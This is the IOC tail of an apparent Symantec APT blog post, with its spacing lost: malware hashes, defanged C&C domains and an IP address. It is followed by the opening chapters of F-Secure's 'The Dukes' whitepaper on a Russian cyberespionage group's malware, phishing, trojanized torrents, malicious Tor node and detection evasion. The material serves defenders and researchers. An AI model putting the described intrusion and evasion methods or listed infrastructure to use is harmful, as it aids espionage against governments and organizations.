Tolearnmoreabouthowbesttoprotectyourcodesigningcertificates,readourwhitepaper:SecuringYourPrivateKeysAsBestPracticeforCode SigningCertificates(https://www.symantec.com/content/en/us/enterprise/white_papers/bsecuringyourprivatekeyscscwp.pdf) UpdateMarch18,2016 Indicatorsofcompromise Filehashes 05edd53508c55b9dd64129e944662c0d 1cf5ce3e3ea310b0f7ce72a94659ff54 352eede25c74775e6102a095fb49da8c 3b595d3e63537da654de29dd01793059 4709395fb143c212891138b98460e958 50f4464d0fc20d1932a12484a1db4342 96c317b0b1b14aadfb5a20a03771f85f ba7b1392b799c8761349e7728c2656dd de5057e579be9e3c53e50f97a9b1832b e7d92039ffc2f07496fe7657d982c80f e864f32151d6afd0a3491f432c2bb7a2 Infrastructure usv0503[.
]iqservsjp.com aux[.
]robertstockdill.com fli[.
]fedoradnsupdate.com bss[.
]pvtcdn.com ssl[.
]microsoftsecuritycenter.com ssl[.
]2upgrades.com 133.242.134.121 fli[.
]fedoradnsupdate.com Tags:Security(/connect/communities/security),SecurityResponse(/connect/namedblogs/symantecsecurityresponse),EndpointProtection(AntiVirus)(/connect/products/endpoint protectionantivirus),APT(/connect/blogtags/apt),Backdoor.
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THE DUKES 7 years of Russian cyberespionage This whitepaper explores the tools - such as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, etc- of the Dukes, a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making.
TLP: WHITE F-SECURE LABS THREAT INTELLIGENCE Whitepaper 2 THE DUKES  Over 7 years of Russian cyberespionage CONTENTS EXECUTIVE SUMMARY 3 THE STORY OF THE DUKES 4 Etymology: a note on names  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.4 2008: Chechnya  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.4 2009: First known campaigns against the West  .
. . . . . . . . . . . . . . . . . . . . . . . . .
5 2010: The emergence of CosmicDuke in the Caucasus  . . . . . . . . . . . . . . . . . . .
.6 2011: John Kasai of Klagenfurt, Austria .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7 2011: Continuing expansion of the Dukes arsenal . . . . . . . . . . . . . . . . . . . . . . . . .
7 2012: Hiding in the shadows .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.8 2013: MiniDuke flies too close to the sun . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.8 2013: The curious case of OnionDuke .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.9 2013: The Dukes and Ukraine  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.9 2013: CosmicDukes war on drugs  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 2014: MiniDukes rise from the ashes  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 2014: CosmicDukes moment of fame and the scramble that ensued . . . . . . .
10 2014: CozyDuke and monkey videos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 2014: OnionDuke gets caught using a malicious Tor node  .
. . . . . . . . . . . . . . .
11 2015: The Dukes up the ante .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 2015: CloudDuke .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 2015: Continuing surgical strikes with CosmicDuke .
. . . . . . . . . . . . . . . . . . . . .
14 TOOLS AND TECHNIQUES OF THE DUKES 16 PinchDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 GeminiDuke.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17 CosmicDuke  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 MiniDuke .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 CozyDuke. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.20 OnionDuke  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
21 SeaDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 HammerDuke  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23 CloudDuke.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.24 INFECTION VECTORS 25 DECOYS 25 EXPLOITATION OF VULNERABILITIES 25 ATTRIBUTION AND STATE-SPONSORSHIP 26 BIBLIOGRAPHY 28 APPENDIX I: DATA LISTINGS 29 Over 7 years of Russian cyberespionage THE DUKES 3 EXECUTIVE SUMMARY The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making.
...
the Dukes show unusual confidence in their ability to continue successfully compromising their targets  [...], as well as in their ability to operate with impunity.
The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors.
Their targets have also included the governments of members of the Commonwealth of Independent States Asian, African, and Middle Eastern governments organizations associated with Chechen extremism and Russian speakers engaged in the illicit trade of controlled substances and drugs.
The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke.
In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations.
These campaigns utilize a smash-and-grab approach involving a fast but noisy break- in followed by the rapid collection and exfiltration of as much data as possible.
If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering.
In addition to these large-scale campaigns, the Dukes continuously and concurrently engage in smaller, much more targeted campaigns, utilizing different toolsets.
These targeted campaigns have been going on for at least 7 years.
The targets and timing of these campaigns appear to align with the known foreign and security policy interests of the Russian Federation at those times.
The Dukes rapidly react to research being published about their toolsets and operations.
However, the group (or their sponsors) value their operations so highly that though they will attempt to modify their tools to evade detection and regain stealth, they will not cease operations to do so, but will instead incrementally modify their tools while continuing apparently as previously planned.
In some of the most extreme cases, the Dukes have been known to engage in campaigns with unaltered versions of tools that only days earlier have been brought to the publics attention by security companies and actively mentioned in the media.
In doing so, the Dukes show unusual confidence in their ability to continue successfully compromising their targets even when their tools have been publicly exposed, as well as in their ability to operate with impunity.
4 THE DUKES  Over 7 years of Russian cyberespionage THE STORY OF THE DUKES 2008: Chechnya The earliest activity we have been able to definitively attribute to the Dukes are two PinchDuke campaigns from November 2008.
These campaigns use PinchDuke samples that were, according to their compilation timestamps, created on the 5th and 12th of November 2008.
The campaign identifiers found in these two samples are respectively, alkavkaz.com20081105 and cihaderi.
net20081112.
The first campaign identifier, found in the sample compiled on the 5th, references alkavkaz.com, a domain associated with a Turkish website proclaiming to be the Chechan [sic] Informational Center (image 1, page 5).
The second campaign identifier, from the sample compiled on the 12th, references cihaderi.net, another Turkish website that claims to provide news from the jihad world and which dedicates a section of its site to Chechnya.
Due to a lack of other PinchDuke samples from 2008 or earlier, we are unable to estimate when the Duke operation originally began.
Based on our technical analysis of the known PinchDuke samples from 2008 however, we believe PinchDuke to have been under development by the summer of 2008.
In fact, we believe that by the autumn of 2008, the Dukes were already developing not one but at least two distinct malware toolsets.
This assertion is based on the oldest currently known sample of another Duke-related toolset, GeminiDuke, which was compiled on the 26th of January 2009.
This sample, like the early PinchDuke samples, appears to already be a fully-grown sample, which is why we believe GeminiDuke was under development by the autumn of 2008.
That the Dukes were already developing and operating at least two distinct malware toolsets by the second half of 2008 suggests to us that either the size of their cyberespionage operation was already large enough to warrant such an arsenal of tools, or that they expected their operation to grow significantly enough in the foreseeable future to warrant the development of such an arsenal.
We examine each of the Duke toolsets in greater detail later in the Tools and Techniques section (page 16).
The story of the Dukes, as it is currently known, begins with a malware toolset that we call PinchDuke.
This toolset consists of multiple loaders and an information-stealer trojan.
Importantly, PinchDuke trojan samples always contain a notable text string, which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel.
These campaign identifiers, which frequently specify both the date and target of the campaign, provide us with a tantalizing view into the early days of the Dukes.
Etymology: a note on names The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term MiniDuke to identify the first Duke-related malware they found.
As explained in their whitepaper[7], the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke the Duke part of this malwares name had in turn come about because it reminded the researchers of the notable Duqu threat.
Despite the shared history of the name itself however, it is important to note that there is no reason to believe that the Duke toolsets themselves are in any way related to the ItaDuke malware, or to Duqu for that matter.
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke, the new toolsets were also given Duke-derived names, and thus the threat actor operating the toolsets started to be commonly referred to as the Dukes.
The only other publicly used name for the threat actor that we are aware of is APT29[22].
Some exceptions to this naming convention do exist, and in the case of specific Duke toolsets, other commonly used names are listed in the Tools and Techniques section (page 16).
ItaDuke Duqu MiniDuke PinchDuke CosmicDuke OnionDuke CozyDuke CloudDuke SeaDuke HammerDuke GeminiDuke duke duke The Dukes Over 7 years of Russian cyberespionage THE DUKES 5 2009: First known campaigns against the West Based on the campaign identifiers found in PinchDuke samples discovered from 2009, the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda.
Campaign identifiers from 2009 also reveal that by that time, the Dukes were already actively interested in political matters related to the United States (US) and the North Atlantic Treaty Organization (NATO), as they ran campaigns targeting (among other organizations) a US-based foreign policy think tank, another set of campaigns related to a NATO exercise held in Europe, and a third set apparently targeting what was then known as the Georgian Information Centre on NATO.
Of these campaigns, two clusters in particular stand out.
The first is a set of campaigns from the 16th and 17th of April, 2009, that targeted a US-based foreign policy think tank, as well as government institutions in Poland and the Czech Republic (image 1, below).
These campaigns utilized specially-crafted malicious Microsoft Word documents and PDF files, which were sent as e-mail attachments to various personnel in an attempt to infiltrate the targeted organizations.
We believe this cluster of campaigns had a joint goal of gathering intelligence on the sentiments of the targeted countries with respect to the plans being discussed at the time for the US to locate their European Interceptor Site missile defense base in Poland, with a related radar station that was intended to be located in the Czech Republic.
Regarding the timing of these campaigns, it is curious to note that they began only 11 days after President Barack Obama gave a speech on the 5th of April declaring his intention to proceed with the deployment of these missile defenses [1].
The second notable cluster comprises of two campaigns that were possibly aimed at gathering information on Georgia-NATO relations.
The first of these runs used the campaign identifier natoinfo_ge, an apparent reference to the www.natoinfo.ge website belonging to a Georgian political body that has since been renamed Information Centre on NATO and EU.
Although the campaign identifier itself doesnt contain a date, we believe the campaign to have originated around the 7th of June 2009, which was when the PinchDuke sample in question was compiled.
This belief is based on the observation that in all of the other PinchDuke samples we have analyzed, the date of the campaign identifier has been within a day of the compilation date.
The second campaign identifier, which we suspect may be related, is mod_ge_2009_07_03 from a month later and apparently targeting the Ministry of Defense of Georgia.
Left - Screenshot of alkavkaz.com [2] (circa 2008, preserved by the Internet Archive Wayback Machine), which was referenced in 2008 PinchDuke sample Below - Decoy document from a 2009 PinchDuke campaign targeting Poland, the Czech Republic and a US think tank.
The contents appear to have been copied from a BBC news article [3] IMAGE 1: EARLY ACTIVITY FROM 2008  2009 6 THE DUKES  Over 7 years of Russian cyberespionage 2010: The emergence of CosmicDuke in the Caucasus The spring of 2010 saw continued PinchDuke campaigns against Turkey and Georgia, but also numerous campaigns against other members of the Commonwealth of Independent States such as Kazakhstan, Kyrgyzstan, Azerbaijan and Uzbekistan.
Of these, the campaign with the identifier kaz_2010_07_30, which possibly targeted Kazakhstan, is of note because it is the last PinchDuke campaign we have observed.
We believe that during the first half of 2010, the Dukes slowly migrated from PinchDuke and started using a new infostealer malware toolset that we call CosmicDuke.
The first known sample of the CosmicDuke toolset was compiled on the 16th of January 2010.
Back then, CosmicDuke still lacked most of the credential-stealing functionality found in later samples.
We believe that during the spring of 2010, the credential and file stealing capabilities of PinchDuke were slowly ported to CosmicDuke, effectively making PinchDuke obsolete.
During this period of transition, CosmicDuke would often embed PinchDuke so that, upon execution, CosmicDuke would write to disk and execute PinchDuke.
Both PinchDuke and CosmicDuke would then operate independently on the same compromised host, including performing separate information gathering, data exfiltration and communication with a command and control (CC) server - although both malware would often use the same CC server.
We believe the purpose of this parallel use was to fieldtest the new CosmicDuke tool, while at the same time ensuring operational success with the tried-and-tested PinchDuke.
During this period of CosmicDuke testing and development, the Duke authors also started experimenting with the use of privilege escalation vulnerabilities.
Specifically, on the 19th of January 2010 security researcher Tavis Ormandy disclosed a local privilege escalation vulnerability (CVE-2010-0232) affecting Microsoft Windows.
As part of the disclosure, Ormandy also included the source code for a proof-of- concept exploit for the vulnerability [4].
Just 7 days later, on the 26th of January, a component for CosmicDuke was compiled that exploited the vulnerability and allowed the tool to operate with higher privileges.
One loader to load them all (almost) In addition to all the other components being produced by the Dukes group, in 2010 they were also actively developing and testing a new loader - a component that wraps the core malware code and provides an additional layer of obfuscation.
The first sample of this loader was compiled on the 26th of July 2010, making it a direct predecessor of what has since become known as the MiniDuke loader, as later versions were extensively used by both MiniDuke and CosmicDuke.
Some hints about the history of the MiniDuke loader were noted in the CosmicDuke whitepaper we published [5] in 2014, where we observed that the loader appeared to have been in use with CosmicDuke before it was used with MiniDuke.
In fact, we now know that before being used with either, the MiniDuke loader was used to load PinchDuke.
The first known sample of the loader was used during the summer of 2010, while the most recent samples were seen during the spring of 2015.
This neatly ties together many of the tools used by the Dukes group, as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke, PinchDuke, and MiniDuke  over the course of five years.
Over 7 years of Russian cyberespionage THE DUKES 7 2011: John Kasai of Klagenfurt, Austria During 2011, the Dukes appear to have significantly expanded both their arsenal of malware toolsets and their CC infrastructure.
While the Dukes employed both hacked websites and purposely rented servers for their CC infrastructure, the group rarely registered their own domain names, preferring instead to connect to their self- operated servers via IP addresses.
The beginning of 2011 however saw a significant break from that routine, when a large grouping of domain names was registered by the Dukes in two batches the first batch was registered on the 29th of January and the second on the 13th of February.
All the domains in both batches were initially registered with the same alias: John Kasai of Klagenfurt, Austria (image 2, above).
These domains were used by the Dukes in campaigns involving many of their different malware toolsets all the way until 2014.
Like the MiniDuke loader, these John Kasai domains also provide a common thread tying together much of the tools and infrastructure of the Dukes.
2011: Continuing expansion of the Dukes arsenal By 2011, the Dukes had already developed at least 3 distinct malware toolsets, including a plethora of supporting components such as loaders and persistence modules.
In fact, as a sign of their arsenals breadth, they had already decided to retire one of these malware toolsets as obsolete after developing a replacement for it, seemingly from scratch.
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets: MiniDuke and CozyDuke.
While all of the earlier toolsets  GeminiDuke, PinchDuke, and CosmicDuke  were designed around a core infostealer component, MiniDuke is centered on a simplistic backdoor component whose purpose is to enable the remote execution of commands on the compromised system.
The first observed samples of the MiniDuke backdoor component are from May 2011.
This backdoor component however is technically very closely related to GeminiDuke, to the extent that we believe them to share parts of their source code.
The origins of MiniDuke can thus be traced back to the origins of GeminiDuke, of which the earliest observed sample was compiled in January of 2009.
Unlike the simplistic MiniDuke toolset, CozyDuke is a highly versatile, modular, malware platform whose functionality lies not in a single core component but in an array of modules that it may be instructed to download from its CC server.
These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand.
CozyDukes modular platform approach is a clear break from the designs of the previous Duke toolsets.
The stylistic differences between CozyDuke and its older siblings are further exemplified by the way it was coded.
All of the 4 previously mentioned toolsets were written in a minimalistic style commonly seen with malware MiniDuke even goes as far as having many components written in Assembly language.
CozyDuke however represents the complete opposite.
Instead of being written in Assembly or C, it was written in C , which provides added layers of abstraction for the developers perusal, at the cost of added complexity.
Contrary to what might be expected from malware, early CozyDuke versions also lacked any attempt at obfuscating or hiding their true nature.
In fact, they were extremely open and verbose about their functionality - for example, early samples contained a plethora of logging messages in unencrypted form.
In comparison, even the earliest known GeminiDuke samples encrypted any strings that might have given away the malwares true nature.
Finally, early CozyDuke versions also featured other elements that one would associate more with a traditional software development project than with malware.
For instance, the earliest known CozyDuke version utilized a feature of the Microsoft Visual C compiler known as run-time error checking.
This feature added automatic error checking to critical parts of the programs execution at the cost, from a malware perspective, of providing additional hints that make the malwares functionality easier for reverse engineers to understand.
IMAGE 2: COMPARING WHOIS REGISTRATION DETAILS Left - Original whois registration details for natureinhome.com, one of the Duke CC server domains registered on the 29th of January, 2011 to John Kasai Right - Details for the domain were later changed, providing a small glimpse of the Dukes sense of humor 8 THE DUKES  Over 7 years of Russian cyberespionage Based on these and other similar stylistic differences observed between CozyDuke and its older siblings, we speculate that while the older Duke families appear to be the work of someone with a background in malware writing (or at the least in hacking), CozyDukes author or authors more likely came from a software development background.
2012: Hiding in the shadows We still know surprisingly few specifics about the Dukes groups activities during 2012.
Based on samples of Duke malware from 2012, the Dukes do appear to have continued actively using and developing all of their tools.
Of these, CosmicDuke and MiniDuke appear to have been in more active use, while receiving only minor updates.
GeminiDuke and CozyDuke on the other hand appear to have been less used in actual operations, but did undergo much more significant development.
2013: MiniDuke flies too close to the sun On the 12th of February 2013, FireEye published a blogpost[6] alerting readers to a combination of new Adobe Reader 0-day vulnerabilities, CVE-2013-0640 and CVE-2013-0641, that were being actively exploited in the wild.
8 days after FireEyes initial alert, Kaspersky spotted the same exploit being used to spread an entirely different malware family from the one mentioned in the original report.
On 27th February, Kaspersky [7] and CrySyS[8] Lab published research on this previously unidentified malware family, dubbing it MiniDuke.
As we now know, by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years.
Their malware had not stayed undetected for those 4 and a half years.
In fact, in 2009 a PinchDuke sample had been included in the malware set used by the AV-Test security product testing organization to perform anti-virus product comparison reviews.
Until 2013 however, earlier Duke toolsets had not been put in a proper context.
That finally started to change in 2013.
The MiniDuke samples that were spread using these exploits were compiled on the 20th of February, after the exploit was already publicly known.
One might argue that since this took place after the exploits were publicly mentioned, the Dukes simply copied them.
We however do not believe so.
As mentioned by Kaspersky, even though the exploits used for these MiniDuke campaigns were near-identical to those described by FireEye, there were nevertheless small differences.
Of these, the crucial one is the presence of PDB strings in the MiniDuke exploits.
These strings, which are generated by the compiler when using specific compilation settings, means that the components of the exploits used with MiniDuke had to have been compiled independently from those described by FireEye.
We do not know whether the Dukes compiled the components themselves or whether someone else compiled the components before handing them to the group.
This does however still rule out the possibility that the Dukes simply obtained copies of the exploit binaries described by FireEye and repurposed them.
In our opinion, this insistence on using exploits that are already under heightened scrutiny suggests the existence of at least one of three circumstances.
Firstly, the Dukes may have been confident enough in their own abilities (and in the slowness of their opponents to react to new threats) that they did not care if their targets may already be on the lookout for anyone exploiting these vulnerabilities.
Secondly, the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed.
Or thirdly, the Dukes may have invested so much into these campaigns that by the time FireEye published their alert, the Dukes felt they could not afford to halt the campaigns.
We believe all three circumstances to have coexisted at least to some extent.
As will become evident in this report, this was not a one-off case but a recurring theme with the Dukes, in that they would rather continue with their operations as planned than retreat from operating under the spotlight.
IMAGE 3: MINIDUKE DECOY One of the Ukraine-themed decoy documents used during a MiniDuke campaign in February 2013 Over 7 years of Russian cyberespionage THE DUKES 9 As originally detailed in Kasperskys whitepaper, the MiniDuke campaigns from February 2013 employed spear-phishing emails with malicious PDF file attachments.
These PDFs would attempt to silently infect the recipient with MiniDuke, while distracting them by displaying a decoy document.
The headings of these documents included Ukraines NATO Membership Action Plan (MAP) Debates, The Informal Asia-Europe Meeting (ASEM) Seminar on Human Rights, and Ukraines Search for a Regional Foreign Policy (image 3, page 8).
The targets of these campaigns, according to Kaspersky, were located variously in Belgium, Hungary, Luxembourg and Spain [7].
Kaspersky goes on to state that by obtaining log files from the MiniDuke command and control servers, they were able to identify high-profile victims from Ukraine, Belgium, Portugal, Romania, the Czech Republic, Ireland, the United States and Hungary [7].
2013: The curious case of OnionDuke After the February campaigns, MiniDuke activity appeared to quiet down, although it did not fully stop, for the rest of 2013.
The Dukes group as a whole however showed no sign of slowing down.
In fact, we saw yet another Duke malware toolset, OnionDuke, appear first in 2013.
Like CozyDuke, OnionDuke appears to have been designed with versatility in mind, and takes a similarly modular platform approach.
The OnionDuke toolset includes various modules for purposes such as password stealing, information gathering, denial of service (DoS) attacks, and even posting spam to the Russian social media network, VKontakte.
The OnionDuke toolset also includes a dropper, an information stealer variant and multiple distinct versions of the core component that is responsible for interacting with the various modules.
What makes OnionDuke especially curious is an infection vector it began using during the summer of 2013.
To spread the toolset, the Dukes used a wrapper to combine OnionDuke with legitimate applications, created torrent files containing these trojanized applications, then uploaded them to websites hosting torrent files (image 4, above).
Victims who used the torrent files to download the applications would end up getting infected with OnionDuke.
For most of the OnionDuke components we observed, the first versions that we are aware of were compiled during the summer of 2013, suggesting that this was a period of active development around this toolset.
Critically however, the first sample of the OnionDuke dropper, which we have observed being used only with components of this toolset, was compiled on the 17th of February 2013.
This is significant because it suggests that OnionDuke was under development before any part of the Duke operation became public.
OnionDukes development therefore could not have been simply a response to the outing of one of the other Duke malware, but was instead intended for use alongside the other toolsets.
This indication that the Dukes planned to use an arsenal of 5 malware toolsets in parallel suggests that they were operating with both significant resources and capacity.
2013: The Dukes and Ukraine In 2013, many of the decoy documents employed by the Dukes in their campaigns were related to Ukraine examples include a letter undersigned by the First Deputy Minister for Foreign Affairs of Ukraine, a letter from the embassy of the Netherlands in Ukraine to the Ukrainian Ministry of Foreign affairs and a document titled Ukraines Search for a Regional Foreign Policy.
[
9] These decoy documents however were written before the start of the November 2013 Euromaidan protests in Ukraine and the subsequent upheaval.
It is therefore important to note that, contrary to what might be assumed, we have actually observed a drop instead of an increase in Ukraine-related campaigns from the Dukes following the countrys political crisis.
This is in stark contrast to some other suspected Russian threat actors (such as Operation Pawn Storm [10]) who appear to have increased their targeting of Ukraine following the crisis.
This supports our analysis that the overarching theme in the Dukes targeting is the collection of intelligence to support diplomatic efforts.
The Dukes actively targeted Ukraine before the crisis, at a time when Russia was still weighing her options, but once Russia moved from diplomacy to direct action, Ukraine was no longer relevant to the Dukes in the same way.
IMAGE 4: ONIONDUKE-TROJANIZED TORRENT FILE Example of a torrent file containing an executable trojanized with the OnionDuke toolset 10 THE DUKES  Over 7 years of Russian cyberespionage 2013: CosmicDukes war on drugs In a surprising turn of events, in September 2013 a CosmicDuke campaign was observed targeting Russian speakers involved in the trade of illegal and controlled substances (image 5, above).
Kaspersky Labs, who sometimes refer to CosmicDuke as Bot Gen Studio, speculated that one possibility is that Bot Gen Studio is a malware platform also available as a so-called legal spyware tool therefore, those using CosmicDuke to target drug dealers and those targeting governments are two separate entities [11].
We however feel it is unlikely that the CosmicDuke operators targeting drug dealers and those targeting governments could be two entirely independent entities.
A shared supplier of malware would explain the overlap in tools, but it would not explain the significant overlap we have also observed in operational techniques related to command and control infrastructure.
Instead, we feel the targeting of drug dealers was a new task for a subset of the Dukes group, possibly due to the drug trades relevance to security policy issues.
We also believe the tasking to have been temporary, because we have not observed any further similar targeting from the Dukes after the spring of 2014.
2014: MiniDukes rise from the ashes While MiniDuke activity decreased significantly during the rest of 2013 following the attention it garnered from researchers, the beginning of 2014 saw the toolset back in full force.
All MiniDuke components, from the loader and downloader to the backdoor, had been slightly updated and modified during the downtime.
Interestingly, the nature of these modifications suggests that their primary purpose was to regain the element of stealth and undetectability that had been lost almost a year earlier.
Of these modifications, arguably the most important were the ones done to the loader.
These resulted in a loader version that would later become known as the Nemesis Gemina loader due to PDB strings found in many of the samples.
It is however still only an iteration on earlier versions of the MiniDuke loader.
The first observed samples of the Nemesis Gemina loader (compiled on 14th December 2013) were used to load the updated MiniDuke backdoor, but by the spring of 2014 the Nemesis Gemina loader was also observed in use with CosmicDuke.
2014: CosmicDukes moment of fame and the scramble that ensued Following the MiniDuke expose, CosmicDuke in turn got its moment of fame when F-Secure published a whitepaper about it on 2nd July 2014 [5].
The next day, Kaspersky also published their own research on the malware [11].
It should be noted that until this point, even though CosmicDuke had been in active use for over 4 years, and had undergone minor modifications and updates during that time, even the most recent CosmicDuke samples would often embed persistence components that date back to 2012.
These samples would also contain artefacts of functionality from the earliest CosmicDuke samples from 2010.
It is therefore valuable to observe how the Dukes reacted to CosmicDukes outing at the beginning of July.
By the end of that month, CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past.
Similarly, some of the hardcoded values that had remained unaltered in CosmicDuke samples for many years had been changed.
We believe these edits were an attempt at evading detection by modifying or removing parts of the toolset that the authors believed might be helpful in identifying and detecting it.
Concurrently with the alterations to CosmicDuke, the Dukes were also hard at work modifying their trusted loader.
Much like the CosmicDuke toolset, the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update (the Nemesis Gemina upgrade) since the first known samples from 2010.
Again, much of the modification work focused on removing redundant code in an attempt to appear different from earlier versions of the loader.
Interestingly however, another apparent evasion trick was also attempted - forging of the loaders compilation timestamps.
IMAGE 5: COSMICDUKE DECOY Screenshot of a decoy document appearing to be an order for growth hormones, which was used in a CosmicDuke campaign in September 2013 Over 7 years of Russian cyberespionage THE DUKES 11 The first CosmicDuke sample we observed after the initial research on CosmicDuke was a sample compiled on the 30th of July 2014.
The loader used by the sample purported to have been compiled on the 25th of March 2010.
Due to artefacts left in the loader during compilation time however, we know that it used a specific version of the Boost library, 1.54.0, that was only published on the 1st of July 2013 [12].
The compilation timestamp therefore had to have been faked.
F-Secures whitepaper[5] on CosmicDuke includes a timeline of the loaders usage, based on compilation timestamps.
Perhaps the Dukes group thought that by faking a timestamp from before the earliest one cited in the whitepaper, they might be able to confuse researchers.
During the rest of 2014 and the spring of 2015, the Dukes continued making similar evasion-focused modifications to CosmicDuke, as well as experimenting with ways to obfuscate the loader.
In the latter case however, the group appear to have also simultaneously developed an entirely new loader, which we first observed being used in conjunction with CosmicDuke during the spring of 2015.
While it is not surprising that the Dukes reacted to multiple companies publishing extensive reports on one of their key toolsets, it is valuable to note the manner in which they responded.
Much like the MiniDuke expose in February 2013, the Dukes again appeared to prioritize continuing operations over staying hidden.
They could have ceased all use of CosmicDuke (at least until they had developed a new loader) or retired it entirely, since they still had other toolsets available.
Instead, they opted for minimal downtime and attempted to continue operations, with only minor modifications to the toolset.
2014: CozyDuke and monkey videos While we now know that CozyDuke had been under development since at least the end of 2011, it was not until the early days of July 2014 that the first large-scale CozyDuke campaign that we are aware of took place.
This campaign, like later CozyDuke campaigns, began with spear-phishing emails that tried to impersonate commonly seen spam emails.
These spear-phishing emails would contain links that eventually lead the victim to becoming infected with CozyDuke.
Some of the CozyDuke spear-phishing emails from early July posed as e-fax arrival notifications, a popular theme for spam emails, and used the same US letter fax test page decoy document that was used a year later by CloudDuke.
In at least one case however, the email instead contained a link to a zip-archive file named Office Monkeys LOL Video.zip, which was hosted on the DropBox cloud storage service.
What made this particular case interesting was that instead of the usual dull PDF file, the decoy was a Flash video file, more specifically a Super Bowl advertisement from 2007 purporting to show monkeys at an office (image 6, above).
2014: OnionDuke gets caught using a malicious Tor node On the 23rd of October 2014, Leviathan Security Group published a blog post describing a malicious Tor exit node they had found.
They noted that this node appeared to be maliciously modifying any executables that were downloaded through it over a HTTP connection.
Executing the modified applications obtained this way would result in the victim being infected with unidentified malware.
On the 14th of November, F-Secure published a blog post naming the malware OnionDuke and associating it with MiniDuke and CosmicDuke, the other Duke toolsets known at the time [13].
Based on our investigations into OnionDuke, we believe that for about 7 months, from April 2014 to when Leviathan published their blog post in October 2014, the Tor exit node identified by the researchers was being used to wrap executables on-the-fly with OnionDuke (image 7, page 13).
This is similar to the way in which the toolset was being spread via trojanized applications in torrent files during the summer of 2013.
While investigating the OnionDuke variant being spread by the malicious Tor node, we also identified another OnionDuke variant that appeared to have successfully compromised multiple victims in the ministry of foreign affairs of an Eastern European country during the spring of 2014.
This variant differed significantly in functionality from the one being spread via the Tor node, further suggesting that different OnionDuke variants are intended for different kinds of victims.
IMAGE 6: COZYDUKE DECOYS Left - US letter fax test decoy used in CozyDuke campaigns Right - Screenshot of the monkey video decoy also used by CozyDuke 12 THE DUKES  Over 7 years of Russian cyberespionage We believe that, unusually, the purpose of the OnionDuke variant spread via the Tor node was not to pursue targeted attacks but instead to form a small botnet for later use.
This OnionDuke variant is related to the one seen during the summer of 2013 being spread via torrent files.
Both of these infection vectors are highly indiscriminate and untargeted when compared to spear-phishing, the usual infection vector of choice for the Dukes.
Further, the functionality of the OnionDuke variant is derived from a number of modules.
While one of these modules gathers system information and another attempts to steal the victims usernames and passwords, as one would expect from a malware used for a targeted attack, the other two known OnionDuke modules are quite the opposite one is designed for use in DoS attacks and the other for posting predetermined messages to the Russian VKontakte social media site.
This sort of functionality is more common in criminality-oriented botnets, not state-sponsored targeted attacks.
We have since been able to identify at least two separate OnionDuke botnets.
We believe the formation of the first of these botnets began in January 2014, using both unidentified infection vectors and the known malicious Tor node, and continued until our blogpost was published in November.
We believe the formation of the second botnet began in August 2014 and continued until January 2015.
We have been unable to identify the infection vectors used for this second botnet, but the CC servers it used had open directory listings, allowing us to retrieve files containing listings of victim IP addresses.
The geographic distribution of these IP addresses (image 8, page 13) further supports our theory that the purpose of this OnionDuke variant was not targeted attacks against high-profile targets.
One theory is that the botnets were a criminal side business for the Dukes group.
